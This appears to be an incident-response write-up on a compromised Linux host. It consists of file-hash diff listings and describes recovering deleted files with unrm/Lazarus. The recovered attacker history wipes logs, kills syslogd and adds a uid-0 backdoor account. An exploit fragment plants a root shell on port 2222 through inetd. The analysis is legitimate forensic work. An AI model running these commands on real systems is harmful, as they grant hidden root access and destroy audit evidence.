3205fa12c7336cd27b451df817d9c510|/lib/modules/2.2.14-5.0/fs/nls_koi8-r.o > 3208e76bbbebcc38ab679844e72ba2c0|/lib/modules/2.2.14-5.0/fs/romfs.o > 5e8ea9910fa2311cb12ce69b8345fb9b|/lib/modules/2.2.14-5.0/fs/smbfs.o > 3c934756f74eaf19bc10dc32e0c28319|/lib/modules/2.2.14-5.0/fs/sysv.o > 4bf7d3d836f1684f51a08796fe7c292b|/lib/modules/2.2.14-5.0/fs/ufs.o > 810336d88bc49b5541388d7906c99991|/lib/modules/2.2.14-5.0/fs/umsdos.o > 2af74ff5afa10aea638f5e541bcc42be|/lib/modules/2.2.14-5.0/fs/vfat.o > 62924c0bdb1a89d4e0998685f09a25f1|/lib/modules/2.2.14-5.0/cdrom/aztcd.o > e6e5abb4e83d15debdef4a49e9b5ef5a|/lib/modules/2.2.14-5.0/cdrom/cdu31a.o > bc3cf945024a3dbc086fdd01599226f0|/lib/modules/2.2.14-5.0/cdrom/cm206.o > 94c08f06b8404c8a9522aa8660dac0b8|/lib/modules/2.2.14-5.0/cdrom/gscd.o > 3f09b85a178ea8228edf02d0b2ec0156|/lib/modules/2.2.14-5.0/cdrom/isp16.o > b93076b295d56de579f1c7cecf4d53d0|/lib/modules/2.2.14-5.0/cdrom/mcd.o > af3c703fbf652d53c907e3d816c40879|/lib/modules/2.2.14-5.0/cdrom/mcdx.o > a6667951f40a3194c75968aad943f679|/lib/modules/2.2.14-5.0/cdrom/optcd.o > 06e00e3f10511b5c0c68e8c2713f95d2|/lib/modules/2.2.14-5.0/cdrom/sbpcd.o > 5bd74002c198464bcd362bab18b7072a|/lib/modules/2.2.14-5.0/cdrom/sjcd.o > bb46e8421c490889160c967196f07fda|/lib/modules/2.2.14-5.0/cdrom/sonycd535.o > c8e0cacf918dc20719de3a41cfab2865|/lib/modules/2.2.14-5.0/block/DAC960.o > 6cc2d9fcaacf302c2235ebb8114928be|/lib/modules/2.2.14-5.0/block/cpqarray.o > fd945e17b2691a4fd238c27011b0ae39|/lib/modules/2.2.14-5.0/block/ide-floppy.o > d9a4595fc04537fe7f5dd077dd55552f|/lib/modules/2.2.14-5.0/block/ide-tape.o > ec0ea08ac11c089d8e06bf409a1ef012|/lib/modules/2.2.14-5.0/block/linear.o > cb8928fe19c202fee0446532bb413e41|/lib/modules/2.2.14-5.0/block/loop.o > b5e11cfd36ba83ddc69d8dbfbc3b008c|/lib/modules/2.2.14-5.0/block/nbd.o > 553da3266301ddf09b9ab9243774b00c|/lib/modules/2.2.14-5.0/block/raid0.o > d17a0cc73f5e913e6762f42d3e366deb|/lib/modules/2.2.14-5.0/block/raid1.o > 586305e5412ead4363771501876d3476|/lib/modules/2.2.14-5.0/block/raid5.o > cb07a11dab2d6bf8cca59db38b3c9798|/lib/modules/2.2.14-5.0/block/xd.o [Q3]Several changes and additions in documentation due to (re)install of nfs, ftp, lpr etc. < 54098e812609e82ce9022decdb76de25|/usr/man/man8/lpc.8.gz < 3b067b15191a476c007d43e5b3c3ca9b|/usr/man/man8/lpd.8.gz < 8bf5966b8cdf43fb9fe585c4cfb63966|/usr/man/man8/pac.8.gz --- > b06987950bb44f58ce3ed633ec0e1e0f|/usr/man/man8/in.telnetd.8 > b06987950bb44f58ce3ed633ec0e1e0f|/usr/man/man8/telnetd.8 < d7f3b8a7327659839c4e18259365002a|/usr/man/man8/exportfs.8.gz < 9f0b1fd18d48b8202ec4707a066559c6|/usr/man/man8/mountd.8.gz < d07b1974451d0285aecae3038279e7be|/usr/man/man8/nfsd.8.gz < 6909128054789133a12aaff2a9f5c0ff|/usr/man/man8/nfsstat.8.gz < 9f0b1fd18d48b8202ec4707a066559c6|/usr/man/man8/rpc.mountd.8.gz < d07b1974451d0285aecae3038279e7be|/usr/man/man8/rpc.nfsd.8.gz < 934d4bea8a0c024054941aa7706611ea|/usr/man/man8/rpc.rquotad.8.gz < c3fd3f0c3088603e69a8ce85a94b40e2|/usr/man/man8/rpc.statd.8.gz < 934d4bea8a0c024054941aa7706611ea|/usr/man/man8/rquotad.8.gz < 99c58b15771bbab0709047e4a2c54bc9|/usr/man/man8/showmount.8.gz < c3fd3f0c3088603e69a8ce85a94b40e2|/usr/man/man8/statd.8.gz --- > 454bcd868b3673fb34d55b63a357ea05|/usr/man/man8/exportfs.8.gz > 92e28611f85664a992232115ab56dfe7|/usr/man/man8/mountd.8.gz > b0b9fd73ee96a0355f4230863260e353|/usr/man/man8/nfsd.8.gz > 2394623b5860033241067b71793ea157|/usr/man/man8/nfsstat.8.gz > 92e28611f85664a992232115ab56dfe7|/usr/man/man8/rpc.mountd.8.gz > b0b9fd73ee96a0355f4230863260e353|/usr/man/man8/rpc.nfsd.8.gz > 6d37df97a5127c213fb2399facc24bf3|/usr/man/man8/rpc.rquotad.8.gz > 1ad40523ed233bf1cfa95b5781a25763|/usr/man/man8/rpc.statd.8.gz > 6d37df97a5127c213fb2399facc24bf3|/usr/man/man8/rquotad.8.gz > 7b775bfd7781be75ab98974b58638d2e|/usr/man/man8/showmount.8.gz > 1ad40523ed233bf1cfa95b5781a25763|/usr/man/man8/statd.8.gz < 2095ba1568591c8203dd4490067d9d8c|/usr/man/man8/ftpd.8.gz < dab5b050f80eea770a432ed907ec699c|/usr/man/man8/ftprestart.8.gz < 530750d4e9d45242c3c4321d4f025ff2|/usr/man/man8/ftpshut.8.gz < 0547561341cb6d05c9d1c28e34f0b7e8|/usr/man/man8/privatepw.8.gz --- > b00df37ce07ed745b8591a360179fa1d|/usr/man/man8/ftpd.8.gz > 403bc336fe7fae66066cdb189a3ae5fb|/usr/man/man8/ftprestart.8.gz > 320a27fff695deba4e5ee6ff22bb1854|/usr/man/man8/ftpshut.8.gz > ea0b2aa5667d5ca1286e45db2b5f0663|/usr/man/man8/privatepw.8.gz < 3cd3aa861bf0c1f1fd704123c74716dc|/usr/man/man8/makedbm.8.gz < fcf6fe15bdf03cdce262fee8b21582e6|/usr/man/man8/mknetid.8.gz < 3aab1d265a40a0dded9eeaf13693c263|/usr/man/man8/pwupdate.8.gz < f461780b2739673b6880fc8c533585a2|/usr/man/man8/revnetgroup.8.gz < 2917b8a0af8c59c109b1fa4834583504|/usr/man/man8/rpc.yppasswdd.8.gz < e3c4fc2d38055ce50a324768cd0bce61|/usr/man/man8/rpc.ypxfrd.8.gz < 100fa6e3c947ab7335719473523a1e59|/usr/man/man8/ypinit.8.gz < cb0dae40011fb439cf6b8aa8e3630613|/usr/man/man8/yppasswdd.8.gz < c6b33ab842b28568baa7cf6a79a2f29a|/usr/man/man8/yppush.8.gz < e6fb984f23d8c12046ce221458e45491|/usr/man/man8/ypserv.8.gz < b3f9c647a0f49924fde1ae48beaa6ea8|/usr/man/man8/ypxfr.8.gz < f0c5a1d97ebda7fa52136a7d9901792e|/usr/man/man8/ypxfrd.8.gz --- > 74207df7795981a7588f1d1dea776fdd|/usr/man/man8/lockd.8.gz > b9eba868c1c890bd4130b88fdbc1a7d8|/usr/man/man8/nhfsgraph.8.gz > f3a8673ca22ab6ec8b5c4e7032b7f987|/usr/man/man8/nhfsnums.8.gz > 9effb59fe13f1387517c4489ac61fce5|/usr/man/man8/nhfsrun.8.gz > 7c9c00c71af4dae4d2ebad2431182be4|/usr/man/man8/nhfsstone.8.gz > 74207df7795981a7588f1d1dea776fdd|/usr/man/man8/rpc.lockd.8.gz > 505e36af048496b1e5c0d799f0be033d|/usr/man/man8/amd.8 > 06316a5fa4a4f8cb2525bf1a08c20e58|/usr/man/man8/amq.8 > 0957c23dcb4d2b11a33200bdce869d3d|/usr/man/man8/automount2amd.8 > 92e787a98eb34585743c5257d5b022fa|/usr/man/man8/fixmount.8 > 6de095de62ee3f89db604d4fdb16e5d9|/usr/man/man8/fsinfo.8 > 470e3dc925f173802910033966c2aed6|/usr/man/man8/hlfsd.8 > 580bd88355dbccc3c6ad08fb6b64471b|/usr/man/man8/mk-amd-map.8 > e9004d72014c29375045f417bd270aea|/usr/man/man8/wire-test.8 > 2de5e8590bcdf96d2a735da53f860079|/usr/man/man8/lpc.8 > 3e248ba4503a5171915b3a33b41c5f23|/usr/man/man8/lpd.8 > 877c448475b91b7a48c2530ee2ce6e94|/usr/man/man8/pac.8 > 29c8b0609573a000eebc0aee2a6e7b15|/usr/man/man8/makedbm.8 > 43750925e5a8960b27d093110e11bada|/usr/man/man8/mknetid.8 > d8d867cc840099749a23ea8a72fca7d6|/usr/man/man8/pwupdate.8 > 75325b3f5001858c2456e91b4316025b|/usr/man/man8/revnetgroup.8 > 881a5542ae4ee5d9e8117faf66a5b698|/usr/man/man8/rpc.yppasswdd.8 > 1be9a7cb74dd5e5f6c6e7a55fde49981|/usr/man/man8/rpc.ypxfrd.8 > 5a8bc084939694975ce548cbd03e9c3a|/usr/man/man8/ypinit.8 > 1b609058725308d7db4841baa81db7d0|/usr/man/man8/yppasswdd.8 > c78b662dd45d8b1d2c165ab2b9d4cdca|/usr/man/man8/yppush.8 > 4673eaccf7ebdf08064659d71cd305e1|/usr/man/man8/ypserv.8 > e15bda4022e2d45cd36090a08b7d2f0c|/usr/man/man8/ypxfr.8 > 453ef49b1c580c62ae4c7302774f4c6d|/usr/man/man8/ypxfrd.8 < d885754d454c78bfbd02105baf5e189b|/usr/man/man5/printcap.5.gz --- > 2e8cbd97a49a1f104eba31d56f9f2741|/usr/man/man5/issue.net.5 < 61d21663814203fb214412f09a15aca5|/usr/man/man5/exports.5.gz --- > 9cd9f6cab99f1a3c572555d700358810|/usr/man/man5/exports.5.gz < 3fd7652f9fb7e6051758d9573c7fe6a9|/usr/man/man5/ftpaccess.5.gz < c5c14f31da98550d84b23b13eebddfad|/usr/man/man5/ftpconversions.5.gz < c456bdd5115e62bed70e0703bf375e1a|/usr/man/man5/ftphosts.5.gz < df0a239e19ff79ae43ebefbff11010e8|/usr/man/man5/ftpservers.5.gz < 3417171442194b51fb3e9fda76707b12|/usr/man/man5/xferlog.5.gz --- > 6bf52fca251511e474647ada4c1bc69c|/usr/man/man5/ftpaccess.5.gz > 8b90ea0b61ff3a19ed442b0863693287|/usr/man/man5/ftpconversions.5.gz > 6c418ac9c5204fc04c5c2fc898e1e453|/usr/man/man5/ftphosts.5.gz > 9dcb93340d6cf3e8b567e79d08fcd917|/usr/man/man5/ftpservers.5.gz > 4a7ca574282f3d644e038bd6e72fe2e3|/usr/man/man5/xferlog.5.gz < 2fee8e4a2065fdd3708c2c6f975567e6|/usr/man/man5/netgroup.5.gz < b247f15a702b23c5449806cc622d9e1b|/usr/man/man5/ypserv.conf.5.gz --- > 9705791cc5a314e89fac64657a4fa0d6|/usr/man/man5/amd.conf.5 > a2e3c5dbbcbf89e5f286acb7cac57568|/usr/man/man5/printcap.5 > 489ecc79530b589dafcf0d0e76126e6e|/usr/man/man5/netgroup.5 > c3e6564217d7238f83cab11bc6b82e44|/usr/man/man5/ypserv.conf.5 < ea24d724b66b06e211d175bd7d097653|/usr/man/man1/lpq.1.gz < f4ca0b0a2faf4b3582dd56db74ac3152|/usr/man/man1/lpr.1.gz < 6c5104350b744e257985419c1abe45ab|/usr/man/man1/lprm.1.gz < a19e781980d01b05fb03360c1961b16b|/usr/man/man1/lptest.1.gz --- > ec30a853d31610848c97f963c0c88f8f|/usr/man/man1/make.1 > c3f655a00a764ac1ec0be6e70225b37a|/usr/man/man1/screen.1 > c69d9675abef362187292b8382239240|/usr/man/man1/telnet.1 > e1de5fe5a956e8d486390a1c45308343|/usr/man/man1/ftpcount.1.gz < 36fc159728623fb7fc91cb3194cacaba|/usr/man/man1/make.1.gz --- > 51afbc18099c9ced46a2358c61cf66e1|/usr/man/man1/ftpwho.1.gz < 50b03950282248f5562616d6ba96202f|/usr/man/man1/screen.1.gz < 90f7c9286e68373248f470003a050ae6|/usr/man/man1/telnet.1.gz < b88f6a167927d7abad31af3757e81304|/usr/man/man1/ftpcount.1.gz < c830d0cb2e60faed3d8ab2fcb4aba1f5|/usr/man/man1/ftpwho.1.gz > 3198345afc8f4698456c726f3fe9490e|/usr/man/man1/pawd.1 > 70f0b6627fcb7cdc02eaddc093e6d5eb|/usr/man/man1/lpq.1 > d5df64125cbff0ec34741665be5a6498|/usr/man/man1/lpr.1 > e42db80c396f7183edbcc50de4c21f16|/usr/man/man1/lprm.1 > 0f98b5c85ad522d8c5a7a128e5ceb070|/usr/man/man1/lptest.1 < d41d8cd98f00b204e9800998ecf8427e|/usr/doc/zlib-devel-1.1.3 < 9a1565c09456d417e664cdc4b18e535b|/usr/doc/zlib-devel-1.1.3/ChangeLog < 57c6fdfa0c13713c8bcbdf28129ec2dd|/usr/doc/zlib-devel-1.1.3/README < 2bfd52ee10a6ef2f0ce5c33f929067e9|/usr/doc/zlib-devel-1.1.3/algorithm.txt --- > d41d8cd98f00b204e9800998ecf8427e|/usr/doc/nfs-utils-0.1.9.1 > 882a45324952a95f9e5756b813080844|/usr/doc/nfs-utils-0.1.9.1/ChangeLog > 3494ea9c7088f6963d04b1c0f7d9ed5c|/usr/doc/nfs-utils-0.1.9.1/INSTALL > ad5bb3f70f61b858675a9da4edf1ca1e|/usr/doc/nfs-utils-0.1.9.1/KNOWNBUGS > 54fa854d77f768c19b0d4b58b719125c|/usr/doc/nfs-utils-0.1.9.1/NEW > 56e6e40752a76bed2cfefe9c1697bad7|/usr/doc/nfs-utils-0.1.9.1/README > 4b44e6275290db81ef7cc222d0bdc314|/usr/doc/nfs-utils-0.1.9.1/THANKS > 59c282af4f4c4316ff58694cc3016b64|/usr/doc/nfs-utils-0.1.9.1/TODO > 2de8d2b3d452946d75ed12c8a11716c7|/usr/doc/nfs-utils-0.1.9.1/index.html > 2de8d2b3d452946d75ed12c8a11716c7|/usr/doc/nfs-utils-0.1.9.1/nfs.html > 185b422816cd98e9b03c7e8689ec4fcd|/usr/doc/nfs-utils-0.1.9.1/nfs.ps > e79938cb9cbb5e010f8bd56064b5827f|/usr/doc/nfs-utils-0.1.9.1/node1.html > e6b60095cbb1bd164ef9ffa788cb56cf|/usr/doc/nfs-utils-0.1.9.1/node10.html > 439e1cf6a50a8f13dc900451bbef1656|/usr/doc/nfs-utils-0.1.9.1/node11.html > b5d69dac8846593d29aef40b604869d1|/usr/doc/nfs-utils-0.1.9.1/node12.html > 9fdc7cc538d133697297b7acb0f772a7|/usr/doc/nfs-utils-0.1.9.1/node13.html > 587d1994968d53d6d88ea4bfb2d859cd|/usr/doc/nfs-utils-0.1.9.1/node14.html > a10a35a71247c4850d09ba5dc100b8a2|/usr/doc/nfs-utils-0.1.9.1/node15.html > 861f35ca59463f4ae90f7f09e436e37c|/usr/doc/nfs-utils-0.1.9.1/node16.html > 85e4f94db33e65459bc115fae8dbb22b|/usr/doc/nfs-utils-0.1.9.1/node17.html > 3f1d84d8962e654ff78c77bdd94b1248|/usr/doc/nfs-utils-0.1.9.1/node18.html > e374d723054589b378b97af815247e07|/usr/doc/nfs-utils-0.1.9.1/node19.html > 25ddab507f708b5c0618ae82635c957b|/usr/doc/nfs-utils-0.1.9.1/node2.html > 455b5804c8acef65c9d49b64ed44ad78|/usr/doc/nfs-utils-0.1.9.1/node20.html > d724c97199c32233058e1f2dc40182ee|/usr/doc/nfs-utils-0.1.9.1/node21.html > f3b3e6bd27d33132bb99ab522347a1dd|/usr/doc/nfs-utils-0.1.9.1/node22.html > 32080fbb1941c661d3ab5866dfd11e7c|/usr/doc/nfs-utils-0.1.9.1/node23.html > 14c31205e4ac1954130f913a7fadfb04|/usr/doc/nfs-utils-0.1.9.1/node24.html > 5fcb68f9e276a9a4a1ce2327129f446a|/usr/doc/nfs-utils-0.1.9.1/node25.html > c9ea9c87ae6b70636994c085853e340d|/usr/doc/nfs-utils-0.1.9.1/node26.html > fbec9589bb2a0ce402363e0bfc18087e|/usr/doc/nfs-utils-0.1.9.1/node27.html > d46f6caaf444fc95f77ce530ab69df15|/usr/doc/nfs-utils-0.1.9.1/node3.html > 96a5bb97c0758cac2fc78ff31ab57101|/usr/doc/nfs-utils-0.1.9.1/node4.html > e491937f283fc0d3e7ef833b2742f17e|/usr/doc/nfs-utils-0.1.9.1/node5.html > 4ecf173b805bd135c77581f3cb9c7087|/usr/doc/nfs-utils-0.1.9.1/node6.html > 5fe331cacea19f53f5120ff35055c1d1|/usr/doc/nfs-utils-0.1.9.1/node7.html > 80cd9d3cfda04005fe9cb8e5d4eacd38|/usr/doc/nfs-utils-0.1.9.1/node8.html > ff9bdb7652f359f132bb0e21f11dea16|/usr/doc/nfs-utils-0.1.9.1/node9.html < d41d8cd98f00b204e9800998ecf8427e|/usr/doc/make-3.78.1 --- > d41d8cd98f00b204e9800998ecf8427e|/usr/doc/screen-3.9.4 < d41d8cd98f00b204e9800998ecf8427e|/usr/doc/nfs-utils-0.1.6 < d41d8cd98f00b204e9800998ecf8427e|/usr/doc/screen-3.9.5 > d41d8cd98f00b204e9800998ecf8427e|/usr/doc/zlib-devel-1.1.3 > d41d8cd98f00b204e9800998ecf8427e|/usr/doc/am-utils-6.0.1s11 > d41d8cd98f00b204e9800998ecf8427e|/usr/doc/make-3.77 > 8afb37c0d42025f8f543514db5b079a6|/usr/doc/make-3.77/NEWS > a45cc1020f32cb5e76a4a1853afe92ab|/usr/doc/make-3.77/README > d07ed2037ae5a63c6f4aeec143b81088|/usr/doc/am-utils-6.0.1s11/AUTHORS > 030673addc7a97dbbe16e9e13e05e730|/usr/doc/am-utils-6.0.1s11/BUGS > ff315a009eb9abd19a78c5ef96f246b1|/usr/doc/am-utils-6.0.1s11/ChangeLog > a39a6bc2844f5d759a9eb52ddfd18cde|/usr/doc/am-utils-6.0.1s11/NEWS > c801be53b3fe3d0566d6b9eabbce8e60|/usr/doc/am-utils-6.0.1s11/README > 77e6f176740a19bd4c874ff46055b166|/usr/doc/am-utils-6.0.1s11/README.autofs > 27e63f6d8c62db5614ea4a00ef155474|/usr/doc/am-utils-6.0.1s11/README.y2k > be1c5e787c2bf90bbbdd4407d33362cb|/usr/doc/am-utils-6.0.1s11/am-utils.ps > d9ef9240358337bbe120270a5b6e24df|/usr/doc/am-utils-6.0.1s11/amd.conf-sample > a0bf4d5d2e610dd50e590a2ef8a34b3b|/usr/doc/am-utils-6.0.1s11/hlfsd.ps > 01d073caeda7e7f59e48c08ee2443afe|/usr/doc/am-utils-6.0.1s11/lostaltmail.conf-sample > 9a1565c09456d417e664cdc4b18e535b|/usr/doc/zlib-devel-1.1.3/ChangeLog > 57c6fdfa0c13713c8bcbdf28129ec2dd|/usr/doc/zlib-devel-1.1.3/README > 2bfd52ee10a6ef2f0ce5c33f929067e9|/usr/doc/zlib-devel-1.1.3/algorithm.txt < 6f8e83f0177d5f8f3b903acec0521738|/usr/doc/screen-3.9.5/FAQ < 51f668e5a587ba2e0217bcc3c2db5d79|/usr/doc/screen-3.9.5/NEWS < fac09405d0345ff7ee981e28f4352dbc|/usr/doc/screen-3.9.5/README < 2c18a8d96ff52ce59df22238e5b3290f|/usr/doc/screen-3.9.5/README.DOTSCREEN < 882a45324952a95f9e5756b813080844|/usr/doc/nfs-utils-0.1.6/ChangeLog < 3494ea9c7088f6963d04b1c0f7d9ed5c|/usr/doc/nfs-utils-0.1.6/INSTALL < ad5bb3f70f61b858675a9da4edf1ca1e|/usr/doc/nfs-utils-0.1.6/KNOWNBUGS < 54fa854d77f768c19b0d4b58b719125c|/usr/doc/nfs-utils-0.1.6/NEW < 56e6e40752a76bed2cfefe9c1697bad7|/usr/doc/nfs-utils-0.1.6/README < 4b44e6275290db81ef7cc222d0bdc314|/usr/doc/nfs-utils-0.1.6/THANKS < 59c282af4f4c4316ff58694cc3016b64|/usr/doc/nfs-utils-0.1.6/TODO < 2de8d2b3d452946d75ed12c8a11716c7|/usr/doc/nfs-utils-0.1.6/index.html < 2de8d2b3d452946d75ed12c8a11716c7|/usr/doc/nfs-utils-0.1.6/nfs.html < 185b422816cd98e9b03c7e8689ec4fcd|/usr/doc/nfs-utils-0.1.6/nfs.ps < e79938cb9cbb5e010f8bd56064b5827f|/usr/doc/nfs-utils-0.1.6/node1.html < e6b60095cbb1bd164ef9ffa788cb56cf|/usr/doc/nfs-utils-0.1.6/node10.html < 439e1cf6a50a8f13dc900451bbef1656|/usr/doc/nfs-utils-0.1.6/node11.html < b5d69dac8846593d29aef40b604869d1|/usr/doc/nfs-utils-0.1.6/node12.html < 9fdc7cc538d133697297b7acb0f772a7|/usr/doc/nfs-utils-0.1.6/node13.html < 587d1994968d53d6d88ea4bfb2d859cd|/usr/doc/nfs-utils-0.1.6/node14.html < a10a35a71247c4850d09ba5dc100b8a2|/usr/doc/nfs-utils-0.1.6/node15.html < 861f35ca59463f4ae90f7f09e436e37c|/usr/doc/nfs-utils-0.1.6/node16.html < 85e4f94db33e65459bc115fae8dbb22b|/usr/doc/nfs-utils-0.1.6/node17.html < 3f1d84d8962e654ff78c77bdd94b1248|/usr/doc/nfs-utils-0.1.6/node18.html < e374d723054589b378b97af815247e07|/usr/doc/nfs-utils-0.1.6/node19.html < 25ddab507f708b5c0618ae82635c957b|/usr/doc/nfs-utils-0.1.6/node2.html < 455b5804c8acef65c9d49b64ed44ad78|/usr/doc/nfs-utils-0.1.6/node20.html < d724c97199c32233058e1f2dc40182ee|/usr/doc/nfs-utils-0.1.6/node21.html < f3b3e6bd27d33132bb99ab522347a1dd|/usr/doc/nfs-utils-0.1.6/node22.html < 32080fbb1941c661d3ab5866dfd11e7c|/usr/doc/nfs-utils-0.1.6/node23.html < 14c31205e4ac1954130f913a7fadfb04|/usr/doc/nfs-utils-0.1.6/node24.html < 5fcb68f9e276a9a4a1ce2327129f446a|/usr/doc/nfs-utils-0.1.6/node25.html < c9ea9c87ae6b70636994c085853e340d|/usr/doc/nfs-utils-0.1.6/node26.html < fbec9589bb2a0ce402363e0bfc18087e|/usr/doc/nfs-utils-0.1.6/node27.html < d46f6caaf444fc95f77ce530ab69df15|/usr/doc/nfs-utils-0.1.6/node3.html < 96a5bb97c0758cac2fc78ff31ab57101|/usr/doc/nfs-utils-0.1.6/node4.html < e491937f283fc0d3e7ef833b2742f17e|/usr/doc/nfs-utils-0.1.6/node5.html < 4ecf173b805bd135c77581f3cb9c7087|/usr/doc/nfs-utils-0.1.6/node6.html < 5fe331cacea19f53f5120ff35055c1d1|/usr/doc/nfs-utils-0.1.6/node7.html < 80cd9d3cfda04005fe9cb8e5d4eacd38|/usr/doc/nfs-utils-0.1.6/node8.html < ff9bdb7652f359f132bb0e21f11dea16|/usr/doc/nfs-utils-0.1.6/node9.html < da62a3f830555d9a4b74cef841ba8cbc|/usr/doc/make-3.78.1/NEWS < 5dfe87a0cb0ee8d959facc964f46fc58|/usr/doc/make-3.78.1/README --- > 6f8e83f0177d5f8f3b903acec0521738|/usr/doc/screen-3.9.4/FAQ > 1f69636f787cdbb932c7ecaf7718c253|/usr/doc/screen-3.9.4/NEWS > fac09405d0345ff7ee981e28f4352dbc|/usr/doc/screen-3.9.4/README > 2c18a8d96ff52ce59df22238e5b3290f|/usr/doc/screen-3.9.4/README.DOTSCREEN < e44a78836cda66ed8120a2ceb362e25f|/usr/info/dir --- > 73b34ce386771087f93af4209624a3a4|/usr/info/dir < fd9efad541c6a9268cd0825b5c8d2999|/usr/info/make.info-1.gz < 559ad53adfe637b9c49530bab5344749|/usr/info/make.info-10.gz < fc5686b46177bd09f7e1994c17fafdfb|/usr/info/make.info-2.gz < e8d8bb444f095428a15a06cb0499f340|/usr/info/make.info-3.gz < a6dc900c0535767dd067f62adeca2fa4|/usr/info/make.info-4.gz < 66183c0e365b0e7d9c90ab9621fb345f|/usr/info/make.info-5.gz < ec468850cc983683ca83151648c6219d|/usr/info/make.info-6.gz < d3be9d94ca998c65701277cf531bc91b|/usr/info/make.info-7.gz < 6467fb1622d7d1d5e2ad30d8e6328ae5|/usr/info/make.info-8.gz < 4f3cf138387ecd1dad576bf79245c333|/usr/info/make.info-9.gz < 7a89ddda6a6b6f69179765797fc76bdd|/usr/info/make.info.gz --- > e64a0c87b051943b723f81ec853d91be|/usr/info/make.info-1.gz > b150bc4b4a08a430b0d7ae181fc03852|/usr/info/make.info-10.gz > 08c1cb9425c7712ebe6bccff0a28deee|/usr/info/make.info-2.gz > 60c2a3f15aa7e87e784be1f449ee739c|/usr/info/make.info-3.gz > 7b6c9cdfd2b9953b5c6756b71f002d51|/usr/info/make.info-4.gz > 2da5dd6da24aee3d7c7d95e43f02960d|/usr/info/make.info-5.gz > 368705f0fcb94d27ad182b391eff0be8|/usr/info/make.info-6.gz > dae595452f2f60341b7dd63e0560fd3f|/usr/info/make.info-7.gz > 33283ede2a268ffde9840a3d8daa5ae1|/usr/info/make.info-8.gz > 0a0ea71f9fc53f6e55be3f32269daa21|/usr/info/make.info-9.gz > 2ce9443b6b85bad23764c0e7f9776242|/usr/info/make.info.gz < 5eda015f567ef3799066f4b8e167b6d7|/usr/info/screen.info-1.gz < 8885e08ea3801ec72025ca0a63da1ec4|/usr/info/screen.info-2.gz < 7af2142b3d184d759072191de9037e02|/usr/info/screen.info-3.gz < a5f5a4b97ec10822c150660c95de711a|/usr/info/screen.info-4.gz < eb80563e2641b2cffe25f6dd49badf83|/usr/info/screen.info.gz --- > ae7e3a96621df9a188852c1f2f35e296|/usr/info/screen.info-1.gz > 55dcadbe05053d63b7e7b22a052b410c|/usr/info/screen.info-2.gz > ab9e83a95bd76c95a134009a949975de|/usr/info/screen.info-3.gz > 04f474dd757fb39b563f10c3d2a48dfd|/usr/info/screen.info-4.gz > 45de92279b8c0d702f59f210fff9b46e|/usr/info/screen.info.gz > af6e4dfe14db4f4ae4702ed082a2d203|/usr/info/am-utils.info-1.gz > f986720925565656c71731f21561cbfe|/usr/info/am-utils.info-2.gz > af0f251d5fee35db79b636952bed8f38|/usr/info/am-utils.info-3.gz > ad96d979aa34975e08ec36ab03d376f6|/usr/info/am-utils.info-4.gz > cd6ae434f4c80fa4e78851cf6ef4f238|/usr/info/am-utils.info-5.gz > 8f2febe1667b5b83c8691a2c5d5fbf97|/usr/info/am-utils.info-6.gz > 1a9e7552782f6f2dfb92cbc78c86b8bb|/usr/info/am-utils.info-7.gz > 6d2c2b4a02694adc394cac5d8c36eccb|/usr/info/am-utils.info.gz Ok, now unrm/Lazarus is used to see what has been deleted... unrm creates the following files: -rw-rw-rw- 1 root root 17413120 Feb 16 23:17 boot.unrm -rw-rw-rw- 1 root root 1237258240 Feb 16 23:26 home.unrm -rw-rw-rw- 1 root root 230857728 Feb 16 23:31 root.unrm -rw-rw-rw- 1 root root 845852672 Feb 16 23:37 usr.unrm -rw-rw-rw- 1 root root 257965056 Feb 16 23:35 var.unrm Lazarus takes 11.5 hours to process these files on my 650MHz Duron with 50 gig IDE diskspace... I also tried to run lazarus on the 156 MB swap file with the single byte option (-b) but gave up several hours later when the output file in $TCTHOME/blocks had risen to more than 800 MB. The analysis reveals that while some software has been installed by the attacker using binary RPMs, ssh(d), irc software, the GNU MP library and others have been compiled on the system. I did perform a short grep on the *.[ctp].txt of the lazarus output to look for signs of kernel recompilation but did not find any. Other than thatI used the HTML interface to quickly browse for "interesting" files. One interesting file that turned up might have been a history file removed by the attacker. The beginning of the file probably shows the work of an administrator with physical access to the system (floppy). At the end of that file the attacker adds the user "own" with uid 0 to /etc/passwd and shadow. These users are later removed again as they don't show up in the current version in /t/etc/passwd. #cat 156859.t.txt mkdir /floppy mount /dev/fd0 /floppy cd /floppy ls rm *gz ./init cd umount /floppy exit ifconfig -a cd /etc/sysconfig ls vi network ls ls cd *pts ls cd ../net*pts ls vi *eth0 ifconfig eth0 172.16.1.107 broadcst 172.16.1.255 netmask 255.255.255.0 up ifconfig -a ifconfig eth0 broadcast 172.16.1.255 ifconfig eht0 netmask 255.255.255.0 ifconfig eth0 netmask 255.255.255.0 ifconfig -a route add default gw 172.16.1.254 netstat -nr exit uptime rm -rf /etc/hosts.deny touch /etc/hosts.deny rm -rf /var/log/wtmp touch /var/log/wtmp killall -9 klogd killall -9 syslogd rm -rf /etc/rc.d/init.d/*log* echo own:x:0:0::/root:/bin/bash >> /etc/passwd echo adm1:x:5000:5000:Tech Admin:/tmp:/bin/bash >> /etc/passwd echo own::10865:0:99999:7:-1:-1:134538460 >> /etc/shadow echo adm1:Yi2yCGHo0wOwg:10884:0:99999:7:-1:-1:134538412 >> /etc/shadow cat /etc/inetd.conf | grep tel exit Another interesting file was 283593.t.txt which hinted to the relationship between sshd and /var/tmp/nap, see other [Q5] marker above. [Q5] 711334.c.txt turned up portions of the rootkit sources, but I could not clearly identify which kit was used. Some sources are also still in /usr/man/.Ci/ .Ci/scan/port/strobe/strobe.c_sec+=tv2.tv_sec; if ((h->host->time_used.tv_usec+=tv2.tv_usec) >= 1000000) { h->host->time_used.tv_usec -= 1000000; h->host->time_used.tv_sec++; } attempts_done++; h->host->attempts_done++; if (h->port > h->host->attempts_highest_done) h->host->attempts_highest_done=h->port; sock_unblock (h->sfd); shutdown (h->sfd, 2); close (h->sfd); } *h = ht_initial; I also looked for "addn" and "addps", two interesting files in /usr/man/.Ci using www.google.com but did not get any hits... And finally another exploit code using a slightly different technique to start a root shell in 94373.t.txt: ë??Ê3À?F^F^F°Í?èÓÿÿÿ18 Jan 1998--str/bin/sh(-c)/bin/echo '2222 stream tcp nowait root /bin/sh sh -i'>> /tmp/h;/usr/sbin/inetd /tmp/h &# [Q8,9] Sorry, I'm running out of time